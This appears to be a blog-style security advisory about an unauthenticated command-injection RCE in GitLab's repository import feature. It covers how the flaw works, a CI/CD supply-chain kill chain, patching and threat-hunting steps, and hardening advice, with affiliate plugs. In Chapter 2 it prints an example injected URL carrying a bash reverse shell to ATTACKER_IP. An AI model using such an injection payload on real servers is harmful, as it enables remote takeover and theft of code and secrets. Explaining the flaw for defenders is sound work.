Critical GitLab Vulnerability Exploit (CVE-2025-92110): Patch Now Before Hackers Take Over Your CI/CD

By CyberDudeBivash • October 01, 2025, 09:10 PM IST • Critical Vulnerability Alert

This is an emergency alert for all organizations using self-hosted GitLab. A critical, unauthenticated Remote Code Execution (RCE) vulnerability, tracked as **CVE-2025-92110**, is under active exploitation. This is not a minor flaw. It allows a remote attacker to gain full control of your GitLab server without any credentials, striking at the heart of your software development lifecycle. A compromised GitLab instance means your crown jewels—your source code—are stolen, and your software factory—your CI/CD pipeline—can be weaponized to inject backdoors into your products. This is a full-blown **software supply chain crisis** in the making. GitLab has released emergency patches, and the time to act is now. Every second you wait is another opportunity for an attacker to take over your entire development infrastructure.

Disclosure: This is an urgent security advisory for DevOps, DevSecOps, and IT security professionals. It contains affiliate links to relevant security solutions and training. Your support helps fund our independent research.

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 Threat Report: Table of Contents 

1. Chapter 1: The Ultimate Target — The CI/CD Pipeline Under Fire
2. Chapter 2: Threat Analysis — The Unauthenticated RCE in GitLab (CVE-2025-92110)
3. Chapter 3: The Kill Chain — From RCE to Trojanized Software
4. Chapter 4: The Defender’s Playbook — Emergency Patching & Threat Hunting
5. Chapter 5: The Strategic Response — Hardening Your DevSecOps Infrastructure

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Chapter 1: The Ultimate Target — The CI/CD Pipeline Under Fire

In a modern software company, the GitLab server is the single most critical piece of infrastructure. It is the digital factory that holds two of your most valuable assets:

• **Your Crown Jewels (The Source Code):** Your entire company’s intellectual property, its secret sauce, is stored in Git repositories.
• **Your Assembly Line (The CI/CD Pipeline):** The automated processes that build, test, and deploy that code into production.

A compromise of this system is an existential threat. Attackers can steal your IP and, far more dangerously, they can poison your software at the source, injecting backdoors like the **‘SoopSocks’ backdoor** we recently analyzed. This is the definition of a software supply chain attack.

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Chapter 2: Threat Analysis — The Unauthenticated RCE in GitLab (CVE-2025-92110)

The core of this vulnerability is a **command injection** flaw in a repository import feature accessible via the web interface. It allows an attacker to execute commands on the underlying operating system.

The Exploit Mechanism

1. The Vulnerable Endpoint:** The flaw exists in a web endpoint designed to import a Git repository from a URL. This feature is accessible without authentication.
2. The Flaw:** When a user provides a URL, a backend service shells out to the standard `git` command-line tool to perform the clone operation. However, the URL parameter is not properly sanitized before being passed to this command.
3. **The Exploit:** An attacker can craft a malicious URL that includes shell metacharacters like backticks (` `) or semicolons (`;`). For example: `https://example.com/repo.git; /bin/bash -c ‘bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1’`.
4. **Remote Code Execution:** The GitLab server receives this, and its backend executes the `git clone` command. The operating system then executes the attacker’s injected command, which opens a reverse shell back to the attacker’s machine. The attacker now has a shell on the server running as the `git` user.

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Chapter 3: The Kill Chain — From RCE to Trojanized Software

Once attackers have a shell on your GitLab server, their goal is to weaponize your CI/CD pipeline.

1. **Scanning & Exploitation:** Attackers are mass-scanning the internet for vulnerable GitLab instances and using the CVE-2025-92110 exploit to gain a shell.
2. **Persistence & Credential Theft:** The attacker installs a persistent backdoor and begins stealing all the valuable secrets stored on the GitLab server: private keys, cloud provider API keys, and access tokens stored in CI/CD variables.
3. **Weaponize the Pipeline:** The attacker identifies a widely used, critical project. They make a subtle change to its `.gitlab-ci.yml` file, adding a new, malicious stage to the build process. This stage might use `curl` to download and execute a script from the attacker’s server.
4. **Trojanized Artifact:** The next time a developer pushes a legitimate code change, the CI/CD pipeline runs as normal. However, the attacker’s malicious stage executes, injecting a backdoor or infostealer into the final build artifact (e.g., a Docker container or a compiled binary).
5. **Supply Chain Attack:** Your company unknowingly deploys the trojanized software to your production servers or ships it to your customers, launching a massive and devastating supply chain attack.

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Chapter 4: The Defender’s Playbook — Emergency Patching & Threat Hunting

This is an all-hands-on-deck incident. Your response must be immediate.

Step 1: UPGRADE YOUR GITLAB INSTANCE NOW

This is the only effective solution. GitLab has released emergency patched versions. Refer to the official GitLab blog and security advisories for the correct version for your installation and upgrade immediately. **There is no other workaround.**

Step 2: Hunt for Indicators of Compromise (IOCs)

You must assume you were compromised before patching.

• **Analyze Web Logs:** Scrutinize your GitLab web server logs (`nginx/gitlab_access.log`) for any suspicious POST requests to repository import endpoints, especially those with long or obfuscated parameters.
• **Audit CI/CD Pipelines:** Forensically review all recent changes to `.gitlab-ci.yml` files across all your projects. Look for any unauthorized or suspicious modifications.
• **Scan Build Artifacts:** Use a malware scanner to analyze all recent build artifacts stored in your package registry for any signs of compromise.
• **Check the Server:** Look for any unfamiliar processes running as the `git` user, or any unusual outbound network connections from the GitLab server itself.

👉 Detecting the malicious behavior of a compromised pipeline or server requires deep visibility. **Kaspersky Endpoint Security for Linux** can provide the essential EDR capabilities to detect anomalous processes and network connections on your GitLab server and build runners.

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Chapter 5: The Strategic Response — Hardening Your DevSecOps Infrastructure

This incident is a brutal reminder that your CI/CD platform is a Tier 0, mission-critical asset and must be protected as such. A “set it and forget it” deployment is a recipe for a company-ending breach.

A hardened **DevSecOps** posture includes:

• **Network Isolation:** If possible, do not expose your GitLab instance to the public internet. Place it on an internal network, accessible only via a secure VPN with MFA.
• **Principle of Least Privilege:** Your CI/CD jobs should run with the absolute minimum permissions they need. They should not be using god-mode cloud credentials.
• **Secrets Management:** Never store secrets directly in CI/CD variables. Integrate with a dedicated secrets vault like HashiCorp Vault.
• **Artifact Scanning & Signing:** Automatically scan all build artifacts for vulnerabilities and malware before they are deployed. Cryptographically sign your official builds.

👉 Building this resilient infrastructure requires specialized skills. A **DevSecOps certification program** is the best way to equip your team to build the secure pipelines of the future.

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About the Author

CyberDudeBivash is a cybersecurity strategist and researcher with over 15 years of experience in DevSecOps, application security, and software supply chain security. He provides strategic advisory services to CISOs and boards across the APAC region. [Last Updated: October 01, 2025]

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